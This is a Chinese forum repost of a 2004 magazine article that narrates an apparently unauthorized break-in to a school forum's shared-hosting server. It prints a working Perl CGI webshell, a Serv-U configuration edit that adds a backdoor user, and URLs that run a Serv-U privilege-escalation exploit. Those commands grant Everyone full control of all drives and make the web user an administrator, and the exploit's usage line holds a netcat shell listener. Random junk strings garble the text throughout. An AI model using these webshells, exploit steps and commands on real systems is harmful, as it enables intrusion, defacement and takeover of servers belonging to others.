找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1955|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
; f, _. e; P/ e! A本文作者:angel1 R# e0 H: A! U8 s6 D# B3 I6 H
文章性质:原创' c7 x0 M; o4 r3 O) H: e
发布日期:2004-11-09
, P  Z* {1 [6 o+ p: b5 u7 ?* I  g( W/ h注意:
7 n7 k( J* ]3 k& b3 f4 B& S  u本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ o1 w" y: [9 G& r" q% B本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。  j( h3 ?& r6 T6 E

9 G, k. e; W% ^' t5 f  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 % l7 V& I8 J5 A+ L3 ]2 Z

* x( l( P! \4 j5 w6 D: o/ {; I  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 8 h9 |/ v% k5 d8 _

( o! D$ g6 `9 C4 ~0 [  J# N  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 % t2 u6 U# u8 K+ u+ ]% T& @
* ^+ Y* a6 P( j4 I4 Q0 B! D0 N
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 8 J% @, s9 |4 ?- e

$ ^% k5 P, l" I+ E  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
  }& C' E6 d% l& `& n4 u; @
" r; }# _& C: |( Z3 M; N% q  没有目的的跳转目录着……
8 q5 E4 A2 x; Y8 M+ h$ C( n& K
) f- Y/ ]$ @- {- _3 T0 X  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
# O% q6 _% c# [' ?3 c0 O- R
4 k( n: R: H& L) F* y! w  结束了吗?不,我试着 FTP 一下:   N$ I4 C& o2 c
1 E$ q0 q$ B8 Z
Microsoft Windows 2000 [Version 5.00.2195]; r/ a4 _) @' W4 a4 e' F3 d& Z
(C) 版权所有 1985-2000 Microsoft Corp.
# f. A; C# L  _3 V
5 _1 y6 n( ]2 gC:\Documents and Settings\Administrator>ftp www.school.com* B5 f" H' t4 O
Connected to www. school.com. 9 b9 |5 N# o1 {& L! }# Q
220 Welcome to FTP Server...
! _. L( k* g& c. _( jUser (www.bjtrq.com:(none)): 7 r: m/ p9 h' J; g
331 User name okay, need password. ! U4 C- {, E# t" u
Password:
# ~$ |9 X- p+ M$ K; U530 Not logged in. % k3 n5 {: D8 ~9 L  X
Login failed. * m, z/ l0 U4 p$ |" h  e
ftp> bye % Z2 K5 U- C$ @' v, B& E# M& f+ ~
221 Goodbye!
6 ~' L3 I" T8 ?& `* l6 K 1 j' M+ ]6 W9 N0 @
- ~- r1 b, N1 a. k: b' N% i$ j
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… - S/ x- ], c4 G

7 e' m# z6 ~% H5 u  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 % p( Z8 q9 p$ @( G* }
9 d! z0 j% a. U: \# T- P$ _
Application Data5 j) i, _  T+ ~: g. T- Z) ~
Documents+ B4 L, d! l! p# C! [2 c$ a
DRM
1 U+ A6 o! |0 |, P+ ]7 ~Favorites
) j* ?# }7 a) z% ]Templates
* U5 M; c  n# @, S「开始」菜单! i+ n& z4 s  B" A
桌面
: y' _' f* ~; K4 l* K3 p5 K
6 e" @$ A' x4 P' W/ E8 Z' ~; S
$ F# R$ c3 l7 j' i. V  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
+ \' y* P( Q; ^1 }* G* O  ~' }. Q3 L/ V  |( \
ActiveState ActivePerl 5.8$ u; H% i' k) T3 ?! _
Administrative Tools
8 n0 o; F) I: i+ R6 X, dDeerfield.com& ], I) f8 s- `9 e. r
DTemp
/ @5 q4 i4 S* N6 S' PIPSentry
# A5 `+ D8 k4 U: A8 e% o% HMBM 5( D( ?' B1 N+ H3 `6 Q8 d
NetMeter
# _, \' s7 h, ^1 X7 uNetwork ICE" u6 T# k5 T2 s0 u* F4 v
Persits Software AspEmail+ p1 v) P# G7 `4 U2 Q1 a
Persits Software AspJpeg
, c% A% r* B7 m: ?" g" b7 _3 L+ @' {2 jServ-U FTP Server
. a& a7 z6 u9 m) `$ ~Symantec Client Security  q# k( R( m/ o6 l4 }( P# }. D' x
Windows 优化大师
5 ~3 I( F0 [' _" zWinRAR
' W, D% R# k! {5 g5 s4 Y启动
1 s8 P' W6 W- N7 U" i  {# W管理工具
2 J  t3 z- S1 K1 i  E0 x% ]附件6 a6 B0 V2 g; x% `$ A

* G! z9 z4 h4 c) s: c& M; @$ w; s' Z
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 8 g+ U6 a. I" g$ f6 t
  f# {5 P6 i7 v; |6 X" G, i
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
% {0 `- y, M* M5 Q* o8 t- A" X1 N1 B
, b# n0 `5 L! w/ IUser281=angel|1|0 ( B5 J# n& r9 |" ]- {7 s

# s, |4 r( G4 A' Y. Q- P3 _1 a5 m8 f6 C
  然后加上
5 R$ A/ b- c0 ]/ n; {) F& A
2 T& ~$ P7 R0 W3 `; q[USER=angel|1]
- {# O$ T+ {& `: l- p3 xPassword=ng98F85379EA68DBF97BAADCA99B69B805* b* k5 m, }% D' Q- X3 r/ a. l
HomeDir=D:\websites! C0 L$ G- Y; G& U7 G
RelPaths=1
# H$ c. f" [& e% u5 E. uTimeOut=6003 z$ q+ _6 V2 X' g7 T$ h
Maintenance=System
0 j* _1 q  b' \' n2 l4 cAccess1=D:\websites|RWAMELCDP
9 N: T) [. m0 D% LSKEYValues=
! ]& b7 z# h* {3 t6 I
7 W, j9 m: G. U3 S+ j1 i# F) Z; g: T/ X. h: J
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
9 Q9 B5 H; K" `
+ x7 _6 \4 H/ v8 N* q  }* e5 L! c  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
3 \# Z- w& m0 I- H0 Z1 x4 y3 v# M, c6 Z0 Z
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
/ z' `- K% T( g" Q; s6 }8 G- ?* Z4 k+ ?$ o7 W, Q
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: $ Q) I: A& |5 r) ?

) n' n4 T+ _" F$ r#!/usr/bin/perl* m. E+ x/ D5 S8 ?* K9 M+ a5 }( G
binmode(STDOUT);+ s5 Y: K5 I  y/ [
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; z# \1 U' F. q* L' g+ [8 U
$_ = $ENV{QUERY_STRING};" j. Z/ ~  d: Z9 [# q: _
s/%20/ /ig;
2 n: `. b: F  t' @2 Ls/%2f/\//ig;
/ p1 H. K4 F; u0 R& K! z$execthis = $_;3 d% D3 B3 {& n" S: P
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
( P1 J6 e0 W$ v; I) Eopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";4 m6 p3 [& i8 x- x/ P9 N
system($execthis);, r: G4 |8 F: R8 g
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);8 u- X) ^- s  ?7 N9 V1 s
close(STDERR);
5 o, q/ V1 x2 [% ~3 s4 Zclose(STDOUT);
. V6 q. w& z+ Z! s+ q8 z3 \+ Yexit;4 o' W6 @: V7 W# o5 V3 z3 V" R
. E3 Z: e* T9 W. Y: U$ ~9 @$ a

7 [8 U' w; x8 i/ L' V; }  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! # D0 C- V$ v+ [3 W
" @$ E- g. y& v4 @
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
! R# ^( p0 n! S) c7 i# r& I
- f: x+ G. K7 B. A. ]3 G! m' Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe
5 q- Z' D: M5 {# [- w7 q
) Z4 {/ v0 T- T6 ?0 l
8 F* `# J9 S& u- j' F) C  返回: 6 I  e! f$ ~2 ^2 J4 G5 T8 K0 D
. e2 _9 o$ H' Y2 ]% v: H
Serv-u >3.x Local Exploit by xiaolu - `6 M) A% K/ ^$ V- R# l- ?
: b# t# k# D' y6 p: N- c
USAGE: serv-u.exe "command"
/ \9 c$ r4 n9 v( h0 t" e
+ I+ p8 u, u* }1 pExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
' Q, Z8 p! Y! X* B5 I 3 c+ J: v+ F" u7 J* {4 A6 L0 C

8 p+ W/ b  a5 J  M  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
! n6 L; e# V1 ^& y; K8 B: B
- [8 Q8 _' W% U0 Chttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ) ^3 z1 ~( f+ P1 F9 {9 N. m

0 @- R; ]3 ^! t6 [# Y, x* |; p7 Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
5 G" Z% K4 l5 |+ u  M" Q7 c' t4 P! c. U
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" : }) j/ o1 N9 c" Y' \/ n2 G

; k7 R. q1 y7 R1 `http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" * U) |, z8 u9 L5 |

3 \/ ~) c6 h' V5 D5 _0 r2 H/ L) b$ a9 e
  返回下面的信息,就表示成功了!!!
1 N4 F" w# P2 `- K
9 b  W' }9 r- p. T, z5 c. sServ-u >3.x Local Exploit by xiaolu
9 U' [: ]: ?" R8 C) ^* L- w
5 m5 E+ |3 D2 H1 O; ~<220 Serv-U FTP Server v5.2 for WinSock ready...
2 a% o0 X' M4 m0 H4 F; B/ }! ?! ~, O' e  E  f. d
>USER LocalAdministrator
: c9 R( y1 c# ?+ i$ m. D3 S
2 v$ c+ |5 @* c, B) N<331 User name okay, need password.
( A* L$ D3 ~1 b5 |! g5 r6 ~. T5 ?! R* V' P
****************************************************** 8 V7 D8 a+ K3 ?3 R
  y& x! L0 |# f" ~
>PASS #l@$ak#.lk;0@P
/ F  F% F" Z  F( }7 `$ L# r! G1 s+ u, ~% k& f+ R' z1 ]
<230 User logged in, proceed. * v1 @6 }: p6 p. z2 l

$ I- z  p, p6 G$ t6 b( ]****************************************************** - }( w! q6 {0 z9 G+ Q

1 n/ @7 V0 C9 `1 h7 X! U2 ]>SITE MAINTENANCE 5 o& @* \: c4 X) w1 b
7 H, i6 U( O. U3 Y
******************************************************
% K( m6 S+ A6 z4 X! G+ g! {- M* h0 j! M6 {7 ?8 f: V8 V
[+] Creating New Domain...
+ j6 L! O9 F- z2 _! o' H
9 r) p; k( I' D, |' |7 n2 X( G6 b2 x<200-DomainID=2
' I" Q2 g$ y; \, X
- _/ O7 @1 Y. N/ u& h1 ^( x: o7 ]<220 Domain settings saved
: I/ e1 d' {1 |2 P2 o: C0 y" _, N3 U+ N$ f; R; @* W
****************************************************** # f! ]' P2 s: R4 T) g% G2 R& b0 [) F

: W: e1 R/ n5 z[+] Domain xl:2 Created ' m, t& L1 t' J3 K6 W
4 ]5 O; @$ D2 s6 i& {8 n
[+] Creating Evil User + g/ A: w- K6 L( E2 j4 f* X
+ l  K' [6 L; g) N- K) r
<200-User=xl
9 d$ J; u# P) d; J3 N
5 |- W) L- Y  M; E5 x2 Y200 User settings saved 3 e; w. _$ k/ w1 z% p& o& V

" r5 u+ g# n0 w+ `- v- k& [****************************************************** ' w5 a  F9 E& G5 J: `9 r+ s, S
! ?! K. j0 O( h: U
[+] Now Exploiting...
3 Q# }2 ^' ?! {' D" J0 f0 E' M1 P  ~
>USER xl : e$ i8 f! @. h5 h

$ H' G! q) T$ P0 A2 U<331 User name okay, need password.
, |2 Q& Q+ X: ~& [7 j% f$ r) `& r! E5 S4 @
****************************************************** 8 [0 T! }6 O: f7 e  T
6 E% S; b& P$ m
>PASS 111111 " y6 D: A6 K7 J3 D  T

+ |6 L7 ~% Y! t. s' n+ x3 ?+ z<230 User logged in, proceed.
; }& k) a9 M/ [& b. u% q& a; j  ?
******************************************************   M% a' x/ p) \: l2 N
5 P3 w1 r" z! T$ J, O% P5 J
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; i2 H  G- Q- r" ~8 d6 x1 [
$ z( u/ g3 w% K. _<220 Domain deleted . B) k. @. G' S5 W/ [6 D) z2 }

) Q8 t' s' k9 }6 a2 H******************************************************
2 g2 m, ?, H- I+ h% c
+ j+ L, `3 r9 ?" N, Q& g, v; M# y
. e0 g/ }+ U% l  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ( H# X/ z3 B9 A6 o* j# e8 u
( U0 Q& x8 z+ |. o9 i
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
* r% E0 Y: `1 m 1 h( |4 `2 S+ f: @& _

  |, n, J+ c- X0 ~1 O2 S  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 3 `( `% O/ d2 e" s/ |
, i3 I3 U3 {$ g7 l% Z
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。! S% B1 T4 J- _3 J; c- d
9 D2 c& c- ?' p- g. v9 ]& D9 ^
  - m/ }  n- l- l7 a5 V# A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表